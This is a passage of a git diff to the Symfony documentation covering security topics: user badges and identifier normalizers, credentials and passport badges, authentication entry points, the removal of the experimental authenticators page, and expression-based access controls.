pass a normalizer as the third argument to ``UserBadge``. +This callable receives the ``$userIdentifier`` and must return a string. + +.. versionadded:: 7.3 + + Support for user identifier normalizers was introduced in Symfony 7.3. + +The example below uses a normalizer that converts usernames to a normalized, +ASCII-only, lowercase format:: + + // src/Security/NormalizedUserBadge.php + namespace App\Security; + + use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge; + use function Symfony\Component\String\u; + + final class NormalizedUserBadge extends UserBadge + { + public function __construct(string $identifier) + { + $callback = static fn (string $identifier): string => u($identifier)->normalize(UnicodeString::NFKC)->ascii()->lower()->toString(); + + parent::__construct($identifier, null, $callback); + } + } + +:: + + // src/Security/PasswordAuthenticator.php + namespace App\Security; + + final class PasswordAuthenticator extends AbstractLoginFormAuthenticator + { + // simplified for brevity + public function authenticate(Request $request): Passport + { + $username = (string) $request->request->get('username', ''); + $password = (string) $request->request->get('password', ''); + + $request->getSession() + ->set(SecurityRequestAttributes::LAST_USERNAME, $username); + + return new Passport( + new NormalizedUserBadge($username), + new PasswordCredentials($password), + [ + // all other useful badges + ] + ); + } + } + +User Credential +~~~~~~~~~~~~~~~ + +The user credential is used to authenticate the user; that is, to verify +the validity of the provided information (such as a password, an API token, +or custom credentials). + +The following credential classes are supported by default: + +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\PasswordCredentials` + This requires a plaintext ``$password``, which is validated using the + :ref:`password encoder configured for the user <security-encoding-user-password>`:: + + use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\PasswordCredentials; + + // ... + return new Passport(new UserBadge($email), new PasswordCredentials($plaintextPassword)); + +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials` + Allows a custom closure to check credentials:: + + use Symfony\Component\Security\Core\User\UserInterface; + use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\CustomCredentials; + + // ... + return new Passport(new UserBadge($email), new CustomCredentials( + // If this function returns anything else than `true`, the credentials + // are marked as invalid. + // The $credentials parameter is equal to the next argument of this class + function (string $credentials, UserInterface $user): bool { + return $user->getApiToken() === $credentials; + }, + + // The custom credentials + $apiToken + )); + +Self Validating Passport +~~~~~~~~~~~~~~~~~~~~~~~~ + +If you don't need any credentials to be checked (e.g. when using API +tokens), you can use the +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`. +This class only requires a ``UserBadge`` object and optionally `Passport Badges`_. + +Passport Badges +--------------- + +The ``Passport`` also optionally allows you to add *security badges*. +Badges attach more data to the passport (to extend security). By default, +the following badges are supported: + +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\RememberMeBadge` + When this badge is added to the passport, the authenticator indicates + remember me is supported. Whether remember me is actually used depends + on special ``remember_me`` configuration. Read + :doc:`/security/remember_me` for more information. + +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PasswordUpgradeBadge` + This is used to automatically upgrade the password to a new hash upon + successful login (if needed). This badge requires the plaintext password and a + password upgrader (e.g. the user repository). See :ref:`security-password-migration`. + +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\CsrfTokenBadge` + Automatically validates CSRF tokens for this authenticator during + authentication. The constructor requires a token ID (unique per form) + and CSRF token (unique per request). See :doc:`/security/csrf`. + +:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PreAuthenticatedUserBadge` + Indicates that this user was pre-authenticated (i.e. before Symfony was + initiated). This skips the + :doc:`pre-authentication user checker </security/user_checkers>`. + +.. note:: + + The ``PasswordUpgradeBadge`` is automatically added to the passport if the + passport has ``PasswordCredentials``. + +For instance, if you want to add CSRF to your custom authenticator, you +would initialize the passport like this:: + + // src/Service/LoginAuthenticator.php + namespace App\Service; + + // ... + use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator; + use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge; + use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge; + use Symfony\Component\Security\Http\Authenticator\Passport\Passport; + + class LoginAuthenticator extends AbstractAuthenticator + { + public function authenticate(Request $request): Passport + { + $password = $request->getPayload()->get('password'); + $username = $request->getPayload()->get('username'); + $csrfToken = $request->getPayload()->get('csrf_token'); + + // ... + + return new Passport( + new UserBadge($username), + new PasswordCredentials($password), + [new CsrfTokenBadge('login', $csrfToken)] + ); + } + } + +Passport Attributes +------------------- + +Besides badges, passports can define attributes, which allows the ``authenticate()`` +method to store arbitrary information in the passport to access it from other +authenticator methods (e.g. ``createToken()``):: + + // ... + use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge; + + class LoginAuthenticator extends AbstractAuthenticator + { + // ... + + public function authenticate(Request $request): Passport + { + // ... process the request + + $passport = new SelfValidatingPassport(new UserBadge($username), []); + + // set a custom attribute (e.g. scope) + $passport->setAttribute('scope', $oauthScope); + + return $passport; + } + + public function createToken(Passport $passport, string $firewallName): TokenInterface + { + // read the attribute value + return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope')); + } + } + +.. _`Symfony Maker`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html +.. _`session storage flooding`: https://symfony.com/blog/cve-2016-4423-large-username-storage-in-session diff --git a/security/entry_point.rst b/security/entry_point.rst new file mode 100644 index 00000000000..cfbef00ff88 --- /dev/null +++ b/security/entry_point.rst @@ -0,0 +1,172 @@ +The Entry Point: Helping Users Start Authentication +=================================================== + +When an unauthenticated user tries to access a protected page, Symfony +gives them a suitable response to let them start authentication (e.g. +redirect to a login form or show a 401 Unauthorized HTTP response for +APIs). + +However sometimes, one firewall has multiple ways to authenticate (e.g. +both a form login and a social login). In these cases, it is required to +configure the *authentication entry point*. + +You can configure this using the ``entry_point`` setting: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + + # ... + firewalls: + main: + # allow authentication using a form or a custom authenticator + form_login: ~ + custom_authenticators: + - App\Security\SocialConnectAuthenticator + + # configure the form authentication as the entry point for unauthenticated users + entry_point: form_login + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <!-- entry-point: configure the form authentication as the entry + point for unauthenticated users --> + <firewall name="main" + entry-point="form_login" + > + <!-- allow authentication using a form or a custom authenticator --> + <form-login/> + <custom-authenticator>App\Security\SocialConnectAuthenticator</custom-authenticator> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\SocialConnectAuthenticator; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $security->enableAuthenticatorManager(true); + // .... + + // allow authentication using a form or HTTP basic + $mainFirewall = $security->firewall('main'); + $mainFirewall + ->formLogin() + ->customAuthenticators([SocialConnectAuthenticator::class]) + + // configure the form authentication as the entry point for unauthenticated users + ->entryPoint('form_login'); + ; + }; + +.. note:: + + You can also create your own authentication entry point by creating a + class that implements + :class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`. + You can then set ``entry_point`` to the service id (e.g. + ``entry_point: App\Security\CustomEntryPoint``) + +Multiple Authenticators with Separate Entry Points +-------------------------------------------------- + +However, there are use cases where you have authenticators that protect +different parts of your application. For example, you have a login form +that protects the main website and API end-points used by external parties +protected by API keys. + +As you can only configure one entry point per firewall, the solution is to +split the configuration into two separate firewalls: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + firewalls: + api: + pattern: ^/api/ + custom_authenticators: + - App\Security\ApiTokenAuthenticator + main: + lazy: true + form_login: ~ + + access_control: + - { path: '^/login', roles: PUBLIC_ACCESS } + - { path: '^/api', roles: ROLE_API_USER } + - { path: '^/', roles: ROLE_USER } + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + <firewall name="api" pattern="^/api/"> + <custom-authenticator>App\Security\ApiTokenAuthenticator</custom-authenticator> + </firewall> + + <firewall name="main" anonymous="true" lazy="true"> + <form-login/> + </firewall> + + <rule path="^/login" role="PUBLIC_ACCESS"/> + <rule path="^/api" role="ROLE_API_USER"/> + <rule path="^/" role="ROLE_USER"/> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\ApiTokenAuthenticator; + use App\Security\LoginFormAuthenticator; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + $apiFirewall = $security->firewall('api'); + $apiFirewall + ->pattern('^/api') + ->customAuthenticators([ApiTokenAuthenticator::class]) + ; + + $mainFirewall = $security->firewall('main'); + $mainFirewall + ->lazy(true) + ->formLogin(); + + $accessControl = $security->accessControl(); + $accessControl->path('^/login')->roles(['PUBLIC_ACCESS']); + $accessControl->path('^/api')->roles(['ROLE_API_USER']); + $accessControl->path('^/')->roles(['ROLE_USER']); + }; diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst deleted file mode 100644 index 95506980093..00000000000 --- a/security/experimental_authenticators.rst +++ /dev/null @@ -1,501 +0,0 @@ -Using the new Authenticator-based Security -========================================== - -.. versionadded:: 5.1 - - Authenticator-based security was introduced as an - :doc:`experimental feature </contributing/code/experimental>` in - Symfony 5.1. - -In Symfony 5.1, a new authentication system was introduced. This system -changes the internals of Symfony Security, to make it more extensible -and more understandable. - -.. _security-enable-authenticator-manager: - -Enabling the System -------------------- - -The authenticator-based system can be enabled using the -``enable_authenticator_manager`` setting: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - enable_authenticator_manager: true - # ... - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config enable-authenticator-manager="true"> - <!-- ... --> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - $container->loadFromExtension('security', [ - 'enable_authenticator_manager' => true, - // ... - ]); - -The new system is backwards compatible with the current authentication -system, with some exceptions that will be explained in this article: - -* :ref:`Anonymous users no longer exist <authenticators-removed-anonymous>` -* :ref:`Configuring the authentication entry point is required when more than one authenticator is used <authenticators-required-entry-point>` -* :ref:`The authentication providers are refactored into Authenticators <authenticators-removed-authentication-providers>` - -.. _authenticators-removed-anonymous: - -Adding Support for Unsecured Access (i.e. Anonymous Users) ----------------------------------------------------------- - -In Symfony, visitors that haven't yet logged in to your website were called -:ref:`anonymous users <firewalls-authentication>`. The new system no longer -has anonymous authentication. Instead, these sessions are now treated as -unauthenticated (i.e. there is no security token). When using -``isGranted()``, the result will always be ``false`` (i.e. denied) as this -session is handled as a user without any privileges. - -In the ``access_control`` configuration, you can use the new -``PUBLIC_ACCESS`` security attribute to whitelist some routes for -unauthenticated access (e.g. the login page): - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - enable_authenticator_manager: true - - # ... - access_control: - # allow unauthenticated users to access the login form - - { path: ^/admin/login, roles: PUBLIC_ACCESS } - - # but require authentication for all other admin routes - - { path: ^/admin, roles: ROLE_ADMIN } - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config enable-authenticator-manager="true"> - <!-- ... --> - - <access-control> - <!-- allow unauthenticated users to access the login form --> - <rule path="^/admin/login" role="PUBLIC_ACCESS"/> - - <!-- but require authentication for all other admin routes --> - <rule path="^/admin" role="ROLE_ADMIN"/> - </access-control> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - use Symfony\Component\Security\Http\Firewall\AccessListener; - - $container->loadFromExtension('security', [ - 'enable_authenticator_manager' => true, - - // ... - 'access_control' => [ - // allow unauthenticated users to access the login form - ['path' => '^/admin/login', 'roles' => AccessListener::PUBLIC_ACCESS], - - // but require authentication for all other admin routes - ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'], - ], - ]); - -.. _authenticators-required-entry-point: - -Configuring the Authentication Entry Point ------------------------------------------- - -Sometimes, one firewall has multiple ways to authenticate (e.g. both a form -login and an API token authentication). In these cases, it is now required -to configure the *authentication entry point*. The entry point is used to -generate a response when the user is not yet authenticated but tries to access -a page that requires authentication. This can be used for instance to redirect -the user to the login page. - -You can configure this using the ``entry_point`` setting: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - enable_authenticator_manager: true - - # ... - firewalls: - main: - # allow authentication using a form or HTTP basic - form_login: ~ - http_basic: ~ - - # configure the form authentication as the entry point for unauthenticated users - entry_point: form_login - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config enable-authenticator-manager="true"> - <!-- ... --> - - <!-- entry-point: configure the form authentication as the entry - point for unauthenticated users --> - <firewall name="main" - entry-point="form_login" - > - <!-- allow authentication using a form or HTTP basic --> - <form-login/> - <http-basic/> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - use Symfony\Component\Security\Http\Firewall\AccessListener; - - $container->loadFromExtension('security', [ - 'enable_authenticator_manager' => true, - - // ... - 'firewalls' => [ - 'main' => [ - // allow authentication using a form or HTTP basic - 'form_login' => null, - 'http_basic' => null, - - // configure the form authentication as the entry point for unauthenticated users - 'entry_point' => 'form_login' - ], - ], - ]); - -.. note:: - - You can also create your own authentication entry point by creating a - class that implements - :class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`. - You can then set ``entry_point`` to the service id (e.g. - ``entry_point: App\Security\CustomEntryPoint``) - -.. _authenticators-removed-authentication-providers: - -Creating a Custom Authenticator -------------------------------- - -Security traditionally could be extended by writing -:doc:`custom authentication providers </security/custom_authentication_provider>`. -The authenticator-based system dropped support for these providers and -introduced a new authenticator interface as a base for custom -authentication methods. - -.. tip:: - - :doc:`Guard authenticators </security/guard_authentication>` are still - supported in the authenticator-based system. It is however recommended - to also update these when you're refactoring your application to the - new system. The new authenticator interface has many similarities with the - guard authenticator interface, making the rewrite easier. - -Authenticators should implement the -:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`. -You can also extend -:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`, -which has a default implementation for the ``createAuthenticatedToken()`` -method that fits most use-cases:: - - // src/Security/ApiKeyAuthenticator.php - namespace App\Security; - - use App\Entity\User; - use Doctrine\ORM\EntityManagerInterface; - use Symfony\Component\HttpFoundation\JsonResponse; - use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; - use Symfony\Component\Security\Core\Exception\AuthenticationException; - use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException; - use Symfony\Component\Security\Core\Exception\UsernameNotFoundException; - use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator; - use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface; - use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport; - - class ApiKeyAuthenticator extends AbstractAuthenticator - { - private $entityManager; - - public function __construct(EntityManagerInterface $entityManager) - { - $this->entityManager = $entityManager; - } - - /** - * Called on every request to decide if this authenticator should be - * used for the request. Returning `false` will cause this authenticator - * to be skipped. - */ - public function supports(Request $request): ?bool - { - return $request->headers->has('X-AUTH-TOKEN'); - } - - public function authenticate(Request $request): PassportInterface - { - $apiToken = $request->headers->get('X-AUTH-TOKEN'); - if (null === $apiToken) { - // The token header was empty, authentication fails with HTTP Status - // Code 401 "Unauthorized" - throw new CustomUserMessageAuthenticationException('No API token provided'); - } - - $user = $this->entityManager->getRepository(User::class) - ->findOneBy(['apiToken' => $apiToken]) - ; - if (null === $user) { - throw new UsernameNotFoundException(); - } - - return new SelfValidatingPassport($user); - } - - public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response - { - // on success, let the request continue - return null; - } - - public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response - { - $data = [ - // you may want to customize or obfuscate the message first - 'message' => strtr($exception->getMessageKey(), $exception->getMessageData()) - - // or to translate this message - // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData()) - ]; - - return new JsonResponse($data, Response::HTTP_UNAUTHORIZED); - } - } - -The authenticator can be enabled using the ``custom_authenticators`` setting: - -.. configuration-block:: - - .. code-block:: yaml - - # config/packages/security.yaml - security: - enable_authenticator_manager: true - - # ... - firewalls: - main: - custom_authenticators: - - App\Security\ApiKeyAuthenticator - - # don't forget to also configure the entry_point if the - # authenticator implements AuthenticatorEntryPointInterface - # entry_point: App\Security\CustomFormLoginAuthenticator - - .. code-block:: xml - - <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> - <srv:container xmlns="http://symfony.com/schema/dic/security" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:srv="http://symfony.com/schema/dic/services" - xsi:schemaLocation="http://symfony.com/schema/dic/services - https://symfony.com/schema/dic/services/services-1.0.xsd - http://symfony.com/schema/dic/security - https://symfony.com/schema/dic/security/security-1.0.xsd"> - - <config enable-authenticator-manager="true"> - <!-- ... --> - - <!-- don't forget to also configure the entry-point if the - authenticator implements AuthenticatorEntryPointInterface - <firewall name="main" - entry-point="App\Security\CustomFormLoginAuthenticator"> --> - - <firewall name="main"> - <custom-authenticator>App\Security\ApiKeyAuthenticator</custom-authenticator> - </firewall> - </config> - </srv:container> - - .. code-block:: php - - // config/packages/security.php - use App\Security\ApiKeyAuthenticator; - use Symfony\Component\Security\Http\Firewall\AccessListener; - - $container->loadFromExtension('security', [ - 'enable_authenticator_manager' => true, - - // ... - 'firewalls' => [ - 'main' => [ - 'custom_authenticators' => [ - ApiKeyAuthenticator::class, - ], - - // don't forget to also configure the entry_point if the - // authenticator implements AuthenticatorEntryPointInterface - // 'entry_point' => [App\Security\CustomFormLoginAuthenticator::class], - ], - ], - ]); - -The ``authenticate()`` method is the most important method of the -authenticator. Its job is to extract credentials (e.g. username & -password, or API tokens) from the ``Request`` object and transform these -into a security -:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`. - -.. tip:: - - If you want to customize the login form, you can also extend from the - :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator` - class instead. - -Security Passports -~~~~~~~~~~~~~~~~~~ - -A passport is an object that contains the user that will be authenticated as -well as other pieces of information, like whether a password should be checked -or if "remember me" functionality should be enabled. - -The default -:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`. -requires a user object and credentials. The following credential classes -are supported by default: - - -:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\PasswordCredentials` - This requires a plaintext ``$password``, which is validated using the - :ref:`password encoder configured for the user <security-encoding-user-password>`. - -:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials` - Allows a custom closure to check credentials:: - - // ... - return new Passport($user, new CustomCredentials( - // If this function returns anything else than `true`, the credentials - // are marked as invalid. - // The $credentials parameter is equal to the next argument of this class - function ($credentials, UserInterface $user) { - return $user->getApiToken() === $credentials; - }, - - // The custom credentials - $apiToken - )); - -.. note:: - - If you don't need any credentials to be checked (e.g. a JWT token), you - can use the - :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`. - This class only requires a user and optionally `Passport Badges`_. - -Passport Badges -~~~~~~~~~~~~~~~ - -The ``Passport`` also optionally allows you to add *security badges*. -Badges attach more data to the passport (to extend security). By default, -the following badges are supported: - -:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\RememberMeBadge` - When this badge is added to the passport, the authenticator indicates - remember me is supported. Whether remember me is actually used depends - on special ``remember_me`` configuration. Read - :doc:`/security/remember_me` for more information. - -:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PasswordUpgradeBadge` - This is used to automatically upgrade the password to a new hash upon - successful login. This badge requires the plaintext password and a - password upgrader (e.g. the user repository). See :doc:`/security/password_migration`. - -:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\CsrfTokenBadge` - Automatically validates CSRF tokens for this authenticator during - authentication. The constructor requires a token ID (unique per form) - and CSRF token (unique per request). See :doc:`/security/csrf`. - -:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PreAuthenticatedUserBadge` - Indicates that this user was pre-authenticated (i.e. before Symfony was - initiated). This skips the - :doc:`pre-authentication user checker </security/user_checkers>`. - -For instance, if you want to add CSRF and password migration to your custom -authenticator, you would initialize the passport like this:: - - // ... - use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator; - use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge; - use Symfony\Component\Security\Http\Authenticator\Passport\Badge\PasswordUpgradeBadge; - use Symfony\Component\Security\Http\Authenticator\Passport\Passport; - use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface; - - class LoginAuthenticator extends AbstractAuthenticator - { - public function authenticate(Request $request): PassportInterface - { - $password = $request->request->get('password'); - $username = $request->request->get('username'); - $csrfToken = $request->request->get('csrf_token'); - - // ... get the $user from the $username and validate no - // parameter is empty - - return new Passport($user, new PasswordCredentials($password), [ - // $this->userRepository must implement PasswordUpgraderInterface - new PasswordUpgradeBadge($password, $this->userRepository), - new CsrfTokenBadge('login', $csrfToken), - ]); - } - } diff --git a/security/expressions.rst b/security/expressions.rst index fefee9bac17..a4ec02c7b84 100644 --- a/security/expressions.rst +++ b/security/expressions.rst @@ -1,49 +1,95 @@ -.. index:: - single: Expressions in the Framework - -Security: Complex Access Controls with Expressions -================================================== +Using Expressions in Security Access Controls +============================================= .. seealso:: The best solution for handling complex authorization rules is to use the :doc:`Voter System </security/voters>`. -In addition to a role like ``ROLE_ADMIN``, the ``isGranted()`` method also -accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object:: +In addition to security roles like ``ROLE_ADMIN``, the ``isGranted()`` method +and ``#[IsGranted]`` attribute also accept an +:class:`Symfony\\Component\\ExpressionLanguage\\Expression` object: - use Symfony\Component\ExpressionLanguage\Expression; - // ... +.. configuration-block:: - public function index() - { - $this->denyAccessUnlessGranted(new Expression( - '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())' - )); + .. code-block:: php-attributes - // ... - } + // src/Controller/MyController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\ExpressionLanguage\Expression; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Security\Http\Attribute\IsGranted; + + class MyController extends AbstractController + { + #[IsGranted(new Expression('is_granted("ROLE_ADMIN") or is_granted("ROLE_MANAGER")'))] + public function show(): Response + { + // ... + } + + #[IsGranted(new Expression( + '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())' + ))] + public function edit(): Response + { + // ... + } + } + + .. code-block:: php + + // src/Controller/MyController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\ExpressionLanguage\Expression; + use Symfony\Component\HttpFoundation\Response; + + class MyController extends AbstractController + { + public function show(): Response + { + $this->denyAccessUnlessGranted(new Expression( + 'is_granted("ROLE_ADMIN") or is_granted("ROLE_MANAGER")' + )); + + // ... + } + + public function edit(): Response + { + $this->denyAccessUnlessGranted(new Expression( + '"ROLE_ADMIN" in role_names or (is_authenticated() and user.isSuperAdmin())' + )); + + // ... + } + } In this example, if the current user has ``ROLE_ADMIN`` or if the current user object's ``isSuperAdmin()`` method returns ``true``, then access will be granted (note: your User object may not have an ``isSuperAdmin()`` method, that method is invented for this example). -This uses an expression and you can learn more about the expression language -syntax, see :doc:`/components/expression_language/syntax`. - .. _security-expression-variables: -Inside the expression, you have access to a number of variables: +The security expression must use any valid :doc:`expression language syntax </reference/formats/expression_language>` +and can use any of these variables created by Symfony: ``user`` - The user object (or the string ``anon`` if you're not authenticated). -``roles`` - The array of roles the user has. This array includes any roles granted - indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it + An instance of :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface` + that represents the current user or ``null`` if you're not authenticated. +``role_names`` + An array with the string representation of the roles the user has. This array + includes any roles granted indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below). ``object`` The object (if any) that's passed as the second argument to ``isGranted()``. +``subject`` + It stores the same value as ``object``, so they are equivalent. ``token`` The token object. ``trust_resolver`` @@ -55,19 +101,15 @@ Additionally, you have access to a number of functions inside the expression: ``is_authenticated()`` Returns ``true`` if the user is authenticated via "remember-me" or authenticated "fully" - i.e. returns true if the user is "logged in". -``is_anonymous()`` - Returns ``true`` if the user is anonymous. That is, the firewall confirms that it - does not know this user's identity. This is different from ``IS_AUTHENTICATED_ANONYMOUSLY``, - which is granted to *all* users, including authenticated ones. ``is_remember_me()`` Similar, but not equal to ``IS_AUTHENTICATED_REMEMBERED``, see below. ``is_fully_authenticated()`` Equal to checking if the user has the ``IS_AUTHENTICATED_FULLY`` role. ``is_granted()`` - Checks if the user has the given permission. Optionally accepts a second argument - with the object where permission is checked on. It's equivalent to using - the :doc:`isGranted() method </security/securing_services>` from the authorization - checker service. + Checks if the user has the given permission. Optionally accepts a + second argument with the object where permission is checked on. It's + equivalent to using the :ref:`isGranted() method <security-isgranted>` + from the security service. .. sidebar:: ``is_remember_me()`` is different than checking ``IS_AUTHENTICATED_REMEMBERED`` @@ -80,7 +122,7 @@ Additionally, you have access to a number of functions inside the expression: use Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface; // ... - public function index(AuthorizationCheckerInterface $authorizationChecker) + public function index(AuthorizationCheckerInterface $authorizationChecker): Response { $access1 = $authorizationChecker->isGranted('IS_AUTHENTICATED_REMEMBERED'); @@ -96,6 +138,101 @@ Additionally, you have access to a number of functions inside the expression: true if the user has actually logged in during this session (i.e. is full-fledged). +In case of the ``#[IsGranted]`` attribute, the subject can also be an +:class:`Symfony\\Component\\ExpressionLanguage\\Expression` object:: + + // src/Controller/MyController.php + namespace App\Controller; + + use App\Entity\Post; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\ExpressionLanguage\Expression; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Security\Http\Attribute\IsGranted; + + class MyController extends AbstractController + { + #[IsGranted( + attribute: new Expression('user === subject'), + subject: new Expression('args["post"].getAuthor()'), + )] + public function index(Post $post): Response + { + // ... + } + } + +In this example, we fetch the author of the post and use it as the subject. If the subject matches +the current user, then access will be granted. + +The subject may also be an array where the key can be used as an alias for the result of an expression:: + + #[IsGranted( + attribute: new Expression('user === subject["author"] and subject["post"].isPublished()'), + subject: [ + 'author' => new Expression('args["post"].getAuthor()'), + 'post', + ], + )] + public function index(Post $post): Response + { + // ... + } + +Here, access will be granted if the author matches the current user +and the post's ``isPublished()`` method returns ``true``. + +You can also use the current request as the subject:: + + #[IsGranted( + attribute: '...', + subject: new Expression('request'), + )] + public function index(): Response + { + // ... + } + +Inside the subject's expression, you have access to two variables: + +``request`` + The :ref:`Symfony Request <component-http-foundation-request>` object that + represents the current request. +``args`` + An array of controller arguments that are passed to the controller. + +Additionally to expressions, the ``#[IsGranted]`` attribute also accepts +closures that return a boolean value. The subject can also be a closure that +returns an array of values that will be injected into the closure:: + + // src/Controller/MyController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Security\Http\Attribute\IsGranted; + use Symfony\Component\Security\Http\Attribute\IsGrantedContext; + + class MyController extends AbstractController + { + #[IsGranted(static function (IsGrantedContext $context, mixed $subject) { + return $context->user === $subject['post']->getAuthor(); + }, subject: static function (array $args) { + return [ + 'post' => $args['post'], + ]; + })] + public function index($post): Response + { + // ... + } + } + +.. versionadded:: 7.3 + + The support for closures in the ``#[IsGranted]`` attribute was introduced + in Symfony 7.3 and requires PHP 8.5. + Learn more ---------- diff --git 